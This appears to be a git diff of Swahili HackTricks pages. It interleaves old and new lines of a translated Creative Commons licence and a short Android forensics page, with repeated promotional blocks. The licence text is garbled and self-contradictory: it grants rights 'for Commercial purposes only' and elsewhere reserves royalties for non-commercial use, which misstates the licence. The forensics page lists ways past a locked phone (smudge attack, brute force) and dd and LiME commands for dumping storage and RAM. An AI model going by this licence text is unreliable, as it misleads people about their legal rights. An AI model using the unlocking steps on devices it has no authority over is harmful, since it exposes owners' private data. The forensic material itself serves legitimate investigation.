1. Haki za maadili, kama haki ya uadilifu, hazijapewa leseni chini ya Leseni ya Umma hii, wala haki za utangazaji, faragha, na/au haki zingine za kibinafsi sawa; hata hivyo, kwa kiwango kinachowezekana, Mwenye Leseni anasamehe na/au anakubaliana kutokutoa haki kama hizo zinazoshikiliwa na Mwenye Leseni kwa kiwango kidogo kinachohitajika kukuruhusu kutekeleza Haki za Leseni, lakini sio vinginevyo.
|
||||
1. Kulingana na masharti ya Leseni Hii ya Umma, Mtoaji Leseni anakupa Leseni ya ulimwengu, isiyo na malipo, isiyoweza kubadilishwa, isiyo ya kipekee, isiyoweza kubatilishwa kwa kutekeleza Haki za Leseni kwenye Nyenzo zilizopewa Leseni kufanya yafuatayo:
|
||||
|
||||
2. Haki za hati miliki na alama za biashara hazijapewa leseni chini ya Leseni ya Umma hii.
|
||||
A. kuzalisha na Kushiriki Nyenzo zilizopewa Leseni, kwa sehemu au kwa jumla, kwa madhumuni ya Kibiashara tu; na
|
||||
|
||||
3. Kwa kiwango kinachowezekana, Mwenye Leseni anasamehe haki yoyote ya kukusanya tuzo kutoka kwako kwa utekelezaji wa Haki za Leseni, iwe moja kwa moja au kupitia shirika la kukusanya chini ya mpango wowote wa leseni wa hiari au wa lazima. Katika kesi zingine zote, Mwenye Leseni anahifadhi wazi haki yoyote ya kukusanya tuzo hizo, ikiwa ni pamoja na wakati Nyenzo Zilizopewa Leseni hutumiwa kwa madhumuni yasiyo ya kibiashara.
|
||||
B. kuzalisha, kuzalisha upya, na Kushiriki Nyenzo Zilizobadilishwa kwa madhumuni ya Kibiashara tu.
|
||||
|
||||
2. __Makatazo na Vizuizi.__ Ili kuepuka shaka, ambapo Makatazo na Vizuizi vinatumika kwa Matumizi Yako, Leseni Hii ya Umma haihusiki, na Hauitaji kuzingatia masharti yake.
|
||||
|
||||
3. __Muda.__ Muda wa Leseni Hii ya Umma umeelezewa katika Sehemu 6(a).
|
||||
|
||||
4. __Media na muundo; marekebisho ya kiufundi kuruhusiwa.__ Mtoaji Leseni anakuruhusu kutekeleza Haki za Leseni katika media na muundo wowote uliopo au utakaoundwa baadaye, na kufanya marekebisho ya kiufundi yanayohitajika kufanya hivyo. Mtoaji Leseni anapuuza na/au anakubaliana kutokataza wewe kufanya marekebisho ya kiufundi yanayohitajika kutekeleza Haki za Leseni, ikiwa ni pamoja na marekebisho ya kiufundi yanayohitajika kuzunguka Hatua Madhubuti za Kiteknolojia. Kwa madhumuni ya Leseni Hii ya Umma, kufanya marekebisho tu yanayoruhusiwa na Sehemu hii 2(a)(4) kamwe haitoi Nyenzo Zilizobadilishwa.
|
||||
|
||||
5. __Wapokeaji wa Chini.__
|
||||
|
||||
A. __Pendekezo kutoka kwa Mtoaji Leseni - Nyenzo zilizopewa Leseni.__ Kila mpokeaji wa Nyenzo zilizopewa Leseni anapokea moja kwa moja pendekezo kutoka kwa Mtoaji Leseni kutekeleza Haki za Leseni chini ya masharti ya Leseni Hii ya Umma.
|
||||
|
||||
B. __Hakuna vizuizi vya wapokeaji wa chini.__ Huenda usipendekeze au kuweka masharti au hali yoyote ziada au tofauti kwenye, au kutumia Hatua Madhubuti za Kiteknolojia kwenye, Nyenzo zilizopewa Leseni ikiwa kufanya hivyo kunazuia utekelezaji wa Haki za Leseni na mpokeaji yeyote wa Nyenzo zilizopewa Leseni.
|
||||
|
||||
6. __Hakuna uhalalishaji.__ Hakuna kitu katika Leseni Hii ya Umma kinachothibitisha au kinachoweza kufasiriwa kama idhini ya kudai au kumaanisha kuwa Wewe ni, au kwamba Matumizi Yako ya Nyenzo zilizopewa Leseni, zina uhusiano na, au zinasaidiwa, zinakubaliwa, au zinapewa hadhi rasmi na, Mtoaji Leseni au wengine waliochaguliwa kupokea kutambuliwa kama ilivyotolewa katika Sehemu 3(a)(1)(A)(i).
|
||||
|
||||
b. ___Haki Nyingine.___
|
||||
|
||||
1. Haki za kimaadili, kama vile haki ya uadilifu, hazijapewa Leseni chini ya Leseni Hii ya Umma, wala sifa, faragha, na/au haki zingine za kibinafsi; hata hivyo, kwa kiwango kinachowezekana, Mtoaji Leseni anapuuza na/au anakubaliana kutokataza haki kama hizo zinazoshikiliwa na Mtoaji Leseni kwa kiwango kidogo kinachohitajika kuruhusu Wewe kutekeleza Haki za Leseni, lakini sio vinginevyo.
|
||||
|
||||
2. Haki za Patent na alama za biashara hazijapewa Leseni chini ya Leseni Hii ya Umma.
|
||||
|
||||
3. Kwa kiwango kinachowezekana, Mtoaji Leseni anapuuza haki yoyote ya kukusanya tanti kutoka kwako kwa kutekeleza Haki za Leseni, moja kwa moja au kupitia chama cha kukusanya chini ya mpango wowote wa hiari au wa lazima wa leseni. Katika kila kesi nyingine, Mtoaji Leseni anahifadhi wazi haki yoyote ya kukusanya tanti kama hizo, ikiwa ni pamoja na wakati Nyenzo zilizopewa Leseni hutumiwa zaidi ya madhumuni ya Kibiashara.
|
||||
|
||||
## Sehemu 3 - Masharti ya Leseni.
|
||||
|
||||
Utekelezaji wako wa Haki za Leseni unategemea wazi kwa masharti yafuatayo.
|
||||
Utekelezaji wako wa Haki za Leseni unawekwa wazi chini ya masharti yafuatayo.
|
||||
|
||||
a. ___Uthibitisho.___
|
||||
a. ___Kutambulisha.___
|
||||
|
||||
1. Ikiwa Unashiriki Nyenzo Zilizopewa Leseni (ikiwa ni pamoja na katika fomu iliyobadilishwa), lazima:
|
||||
1. Ikiwa Unashiriki Nyenzo zilizopewa Leseni (ikiwa ni pamoja na kwa fomu iliyobadilishwa), Lazima:
|
||||
|
||||
A. uhifadhi yafuatayo ikiwa yametolewa na Mwenye Leseni pamoja na Nyenzo Zilizopewa Leseni:
|
||||
A. uhifadhi yafuatayo ikiwa imepatikana na Mtoaji Leseni pamoja na Nyenzo zilizopewa Leseni:
|
||||
|
||||
i. utambulisho wa waumbaji wa Nyenzo Zilizopewa Leseni na wengine wote walioteuliwa kupokea sifa, kwa njia yoyote inayofaa inayotakiwa na Mwenye Leseni (ikiwa ni pamoja na kwa kutumia jina la uongo ikiwa limepangwa);
|
||||
i. utambulisho wa waumbaji wa Nyenzo zilizopewa Leseni na wengine wote waliochaguliwa kupokea kutambuliwa, kwa njia yoyote inayohitajika na Mtoaji Leseni (ikiwa ni pamoja na kwa jina la uongo ikiwa imechaguliwa);
|
||||
|
||||
ii. notisi ya hakimiliki;
|
||||
|
||||
iii. notisi inayohusiana na Leseni ya Umma hii;
|
||||
iii. notisi inayorejelea Leseni Hii ya Umma;
|
||||
|
||||
iv. notisi inayohusiana na kutoa dhamana;
|
||||
iv. notisi inayorejelea kutoa dhamana;
|
||||
|
||||
v. URI au kiungo cha wavuti kwenye Nyenzo Zilizopewa Leseni kwa kiwango kinachowezekana kwa vitendo;
|
||||
v. URI au kiungo cha mtandao kwa Nyenzo zilizopewa Leseni kwa kiwango kinachowezekana kwa vitendo;
|
||||
|
||||
B. eleza ikiwa umebadilisha Nyenzo Zilizopewa Leseni na uhifadhi ishara ya marekebisho yoyote ya awali; na
|
||||
B. eleza ikiwa Umefanya mabadiliko kwenye Nyenzo zilizopewa Leseni na uhifadhi ishara ya mabadiliko yoyote ya awali; na
|
||||
|
||||
C. eleza kuwa Nyenzo Zilizopewa Leseni zimepewa leseni chini ya Leseni ya Umma hii, na jumuisha maandishi ya, au URI au kiungo cha wavuti kwenye, Leseni ya Umma hii.
|
||||
C. eleza kuwa Nyenzo zilizopewa Leseni zinapewa Leseni chini ya Leseni Hii ya Umma, na jumuisha maandishi ya, au URI au kiungo cha mtandao kwa, Leseni Hii ya Umma.
|
||||
|
||||
2. Unaweza kutimiza masharti katika Sehemu 3(a)(1) kwa njia yoyote inayofaa kulingana na njia, njia, na muktadha ambao Unashiriki Nyenzo Zilizopewa Leseni. Kwa mfano, inaweza kuwa ni sawa kutimiza masharti kwa kutoa URI au kiungo cha wavuti kwenye rasilimali ambayo ina habari inayohitajika.
|
||||
2. Unaweza kutimiza masharti katika Sehemu 3(a)(1) kwa njia yoyote inayofaa kulingana na njia, njia, na muktadha ambao Unashiriki Nyenzo zilizopewa Leseni. Kwa mfano, inaweza kuwa ni sawa kutimiza masharti kwa kutoa URI au kiungo cha mtandao kwa rasilimali inayojumuisha habari inayohitajika.
|
||||
|
||||
3. Ikiwa Mwenye Leseni anakuomba, lazima uondoe habari yoyote inayohitajika na Sehemu 3(a)(1)(A) kwa kiwango kinachowezekana kwa vitendo.
|
||||
3. Ikiombwa na Mtoaji Leseni, Lazima uondoe habari yoyote inayohitajika na Sehemu 3(a)(1)(A) kwa kiwango kinachowezekana.
|
||||
|
||||
4. Ikiwa Unashiriki Nyenzo Zilizobadilishwa Unazozalisha, Leseni ya Mbadala ya Mbadala Unayotumia haiwezi kuzuia wapokeaji wa Nyenzo Zilizobadilishwa kuzingatia Leseni ya Umma hii.
|
||||
4. Ikiwa Unashiriki Nyenzo Zilizobadilishwa Unazozalisha, Leseni ya Mbadala Unayotumia isizuie wapokeaji wa Nyenzo Zilizobadilishwa kutekeleza Leseni Hii ya Umma.
|
||||
|
||||
## Sehemu 4 - Haki za Hifadhidata za Sui Generis.
|
||||
|
||||
Ikiwa Haki za Leseni zinajumuisha Haki za Hifadhidata za Sui Generis ambazo zinatumika kwa matumizi yako ya Nyenzo Zilizopewa Leseni:
|
||||
Ikiwa Haki za Leseni zinajumuisha Haki za Hifadhidata za Sui Generis zinazotumika kwa Matumizi Yako ya Nyenzo zilizopewa Leseni:
|
||||
|
||||
a. kwa kuepuka shaka, Sehemu 2(a)(1) inakupa haki ya kuchimba, kutumia tena, kuzaliana, na Kushiriki sehemu au sehemu kubwa ya maudhui ya hifadhidata kwa madhumuni ya kibiashara tu;
|
||||
a. kwa kuepuka shaka, Sehemu 2(a)(1) inakupa haki ya kutoa, kutumia tena, kuzalisha, na Kushiriki sehemu au sehemu kubwa ya maudhui ya hifadhidata kwa madhumuni ya Kibiashara tu;
|
||||
|
||||
b. ikiwa unajumuisha sehemu au sehemu kubwa ya maudhui ya hifadhidata katika hifadhidata ambayo una Haki za Hifadhidata za Sui Generis, basi hifadhidata ambayo una Haki za Hifadhidata za Sui Generis (lakini sio maudhui yake binafsi) ni Nyenzo Zilizobadilishwa; na
|
||||
b. ikiwa Unajumuisha sehemu au sehemu kubwa ya maudhui ya hifadhidata katika hifadhidata ambayo una Haki za Hifadhidata za Sui Generis, basi hifadhidata ambayo una Haki za Hifadhidata za Sui Generis (lakini sio maudhui yake binafsi) ni Nyenzo Zilizobadilishwa; na
|
||||
|
||||
c. lazima uzingatie masharti katika Sehemu 3(a) ikiwa Unashiriki sehemu au sehemu kubwa ya maudh
|
||||
c. Lazima uzingatie masharti katika Sehemu 3(a) ikiwa Unashiriki sehemu au sehemu kubwa ya maudhui ya hifadhidata.
|
||||
|
||||
Kwa kuepuka shaka, Sehemu Hii 4 inapanua na sio kuchukua nafasi ya majukumu yako chini ya Leseni Hii ya Umma ambapo Haki za Leseni zinajumuisha Haki zingine za Hakimiliki na Haki Zinazofanana.
|
||||
|
||||
## Sehemu 5 - Kutoa Dhamana na Kizuizi cha Dhima.
|
||||
|
||||
a. __Isipokuwa vinginevyo kando na kujitolea tofauti na Mtoaji Leseni, kwa kiwango kinachowezekana, Mtoaji Leseni anatoa Nyenzo zilizopewa Leseni kama ilivyo na inavyopatikana, na haitoi uwakilishi au dhamana ya aina yoyote kuhusu Nyenzo zilizopewa Leseni, iwe ni wazi, iliyopendekezwa, kisheria, au nyingine. Hii ni pamoja na, bila kikomo, dhamana za umiliki, uuzaji, uwezo kwa kusudi fulani, kutokukiuka, kutokuwepo kwa kasoro za siri au zingine, usahihi, au uwepo au kutokuwepo kwa makosa, iwe inajulikana au inayoweza kugundulika. Ambapo kutoa dhamana kunakatazwa kikamilifu au kwa sehemu, kutoa kwa dhamana hii kunaweza kutokwenda kwako.__
|
||||
|
||||
b. __Kwa kiwango kinachowezekana, kamwe Mtoaji Leseni hatakuwa na dhima kwako kwa msingi wowote wa kisheria (ikiwa ni pamoja, bila kikomo, uzembe) au vinginevyo kwa hasara yoyote moja kwa moja, maalum, isiyo ya moja kwa moja, ya bahati mbaya, ya athari, ya adhabu, ya mfano, au hasara nyingine, gharama, matumizi, au uharibifu unaotokana na Leseni Hii ya Umma au matumizi ya Nyenzo zilizopewa Leseni, hata kama Mtoaji Leseni ameonywa juu ya uwezekano wa hasara, gharama, matumizi, au uharibifu kama huo. Ambapo kizuizi cha dhima hakiruhusiwi kikamilifu au kwa sehemu, kizuizi hiki kinaweza kutokwenda kwako.__
|
||||
|
||||
c. Kutoa dhamana na kizuizi cha dhima vilivyotolewa hapo juu vitatafsiriwa kwa njia ambayo, kwa kiwango kinachowezekana, inalingana zaidi na kutoa dhamana kamili na kuondoa dhima yote.
|
||||
|
||||
## Sehemu 6 - Muda na Kukomesha.
|
||||
|
||||
a. Leseni Hii ya Umma inatumika kwa muda wa Hakimiliki na Haki Zinazofanana zilizopewa hapa. Walakini, ikiwa Hushikilii Leseni Hii ya Umma, basi Haki Zako chini ya Leseni Hii ya Umma zitakoma moja kwa moja.
|
||||
|
||||
b. Ambapo Haki yako ya kutumia Nyenzo zilizopewa Leseni imekoma chini ya Sehemu 6(a), itarejeshwa:
|
||||
|
||||
1. moja kwa moja kuanzia tarehe ukiukaji unapofanywa, ikiwa utarekebisha ndani ya siku 30 tangu ugunduzi wako wa ukiukaji; au
|
||||
|
||||
2. kwa kurejeshwa wazi na Mtoaji Leseni.
|
||||
|
||||
Kwa kuepuka shaka, Sehemu 6(b) hii haiafiki haki yoyote Mtoaji Leseni anaweza kuwa nayo kutafuta marekebisho kwa ukiukaji wako wa Leseni Hii ya Umma.
|
||||
|
||||
c. Kwa kuepuka shaka, Mtoaji Leseni pia anaweza kutoa Nyenzo zilizopewa Leseni chini ya masharti au hali tofauti au kuacha kusambaza Nyenzo zilizopewa Leseni wakati wowote; hata hivyo, kufanya hivyo haitakomesha Leseni Hii ya Umma.
|
||||
|
||||
d. Sehemu 1, 5, 6, 7, na 8 zitabaki hai baada ya kukomesha kwa Leseni Hii ya Umma.
|
||||
## Sehemu ya 7 - Masharti na Masharti Mengine.
|
||||
|
||||
a. Mtoaji wa Leseni hatakuwa amefungwa na masharti au masharti yoyote ya ziada au tofauti yaliyowasilishwa na Wewe isipokuwa ikiwa imekubaliwa wazi.
|
||||
a. Mtoaji leseni hatakuwa amefungwa na masharti au masharti yoyote ya ziada au tofauti yaliyotolewa na Wewe isipokuwa ikikubaliwa kwa uwazi.
|
||||
|
||||
b. Makubaliano yoyote, ufahamu, au makubaliano kuhusu Nyenzo iliyopewa Leseni ambayo hayajatajwa hapa ni tofauti na na huru na masharti na masharti ya Leseni ya Umma hii.
|
||||
b. Mipangilio yoyote, uelewa, au makubaliano kuhusu Nyenzo iliyopewa leseni ambayo hayajaorodheshwa hapa ni tofauti na na huru kutoka kwa masharti ya Leseni hii ya Umma.
|
||||
|
||||
## Sehemu ya 8 - Tafsiri.
|
||||
## Sehemu ya 8 - Ufafanuzi.
|
||||
|
||||
a. Kwa kuepuka shaka, Leseni ya Umma hii haiwezi, na haitatafsiriwa kuwa, kupunguza, kuzuia, au kuweka masharti kwa matumizi yoyote ya Nyenzo iliyopewa Leseni ambayo yanaweza kufanywa kihalali bila idhini chini ya Leseni hii ya Umma.
|
||||
a. Ili kuepuka shaka, Leseni hii ya Umma haitoi, na haitatafsiriwa kama kupunguza, kikomo, kuzuia, au kuweka masharti kwa matumizi yoyote ya Nyenzo iliyopewa leseni ambayo ingeweza kufanywa kihalali bila idhini chini ya Leseni hii ya Umma.
|
||||
|
||||
b. Kwa kiwango kinachowezekana, ikiwa kifungu chochote cha Leseni hii ya Umma kinachukuliwa kuwa hakiwezi kutekelezeka, itarekebishwa moja kwa moja kwa kiwango cha chini kinachohitajika ili kiweze kutekelezeka. Ikiwa kifungu hakiwezi kurekebishwa, kitatengwa kutoka kwa Leseni hii ya Umma bila kuathiri uwezekano wa kutekelezeka wa masharti na masharti yaliyobaki.
|
||||
b. Kwa kiwango kinachowezekana, ikiwa kifungu chochote cha Leseni hii ya Umma kitachukuliwa kutotekelezeka, itarekebishwa moja kwa moja kwa kiwango cha chini kinachohitajika kufanya iweze kutekelezeka. Ikiwa kifungu hakiwezi kurekebishwa, kitatenganishwa kutoka kwa Leseni hii ya Umma bila kuathiri uwezekano wa kutekelezeka kwa masharti na masharti yanayosalia.
|
||||
|
||||
c. Hakuna masharti au masharti ya Leseni hii ya Umma yatakayosamehewa na hakuna kushindwa kuzingatia kinachokubaliwa isipokuwa imekubaliwa wazi na Mtoaji wa Leseni.
|
||||
c. Hakuna kifungu au sharti la Leseni hii ya Umma litakalofutwa na hakuna kushindwa kutekelezwa kunakubaliwa isipokuwa ikikubaliwa kwa uwazi na Mtoaji leseni.
|
||||
|
||||
d. Hakuna kitu katika Leseni hii ya Umma kinachounda au kinaweza kutafsiriwa kama kizuizi au msamaha wa haki yoyote na kinga inayotumika kwa Mtoaji wa Leseni au Wewe, ikiwa ni pamoja na kutoka kwa taratibu za kisheria za mamlaka au mamlaka yoyote.
|
||||
d. Hakuna kitu katika Leseni hii ya Umma kinachounda au kinaweza kutafsiriwa kama kikomo, au msamaha wa, haki yoyote na kinga zinazotumika kwa Mtoaji leseni au Wewe, ikiwa ni pamoja na kutoka kwa taratibu za kisheria za mamlaka au mamlaka yoyote.
|
||||
```
|
||||
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
|
||||
|
||||
Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/).
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,51 +1,53 @@
|
|||
# Uchunguzi wa Android
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kifaa Kilichofungwa
|
||||
|
||||
Ili kuanza kuchambua data kutoka kifaa cha Android, lazima kiwe kimefunguliwa. Ikiwa kimefungwa, unaweza:
|
||||
Ili kuanza kutoa data kutoka kwa kifaa cha Android lazima iwe imefunguliwa. Ikiwa imefungwa unaweza:
|
||||
|
||||
* Angalia ikiwa kifaa kina uwezo wa kudhibiti kupitia USB umewezeshwa.
|
||||
* Angalia uwezekano wa [shambulio la kucha](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf)
|
||||
* Angalia kwa shambulio la [smudge](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf) linalowezekana
|
||||
* Jaribu na [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
|
||||
|
||||
## Uchukuaji wa Data
|
||||
## Upatikanaji wa Data
|
||||
|
||||
Tengeneza [hifadhi ya Android kwa kutumia adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) na ichimbue kwa kutumia [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
||||
Tengeneza [chelezo ya android kwa kutumia adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) na itoe kutumia [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
||||
|
||||
### Ikiwa kuna ufikiaji wa mizizi au uhusiano wa kimwili na kiolesura cha JTAG
|
||||
|
||||
* `cat /proc/partitions` (tafuta njia ya kumbukumbu ya flash, kwa ujumla kuingia ya kwanza ni _mmcblk0_ na inalingana na kumbukumbu nzima ya flash).
|
||||
* `df /data` (Gundua ukubwa wa kizuizi cha mfumo).
|
||||
* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (itekeleze na habari uliyokusanya kutoka kwa ukubwa wa kizuizi).
|
||||
* `df /data` (Gundua saizi ya block ya mfumo).
|
||||
* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (itekeleze na habari iliyokusanywa kutoka kwa saizi ya block).
|
||||
|
||||
### Kumbukumbu
|
||||
|
||||
Tumia Linux Memory Extractor (LiME) kuondoa habari ya RAM. Ni nyongeza ya kernel ambayo inapaswa kupakia kupitia adb.
|
||||
Tumia Linux Memory Extractor (LiME) kutoa habari ya RAM. Ni nyongeza ya kernel ambayo inapaswa kupakiwa kupitia adb.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,25 +1,25 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
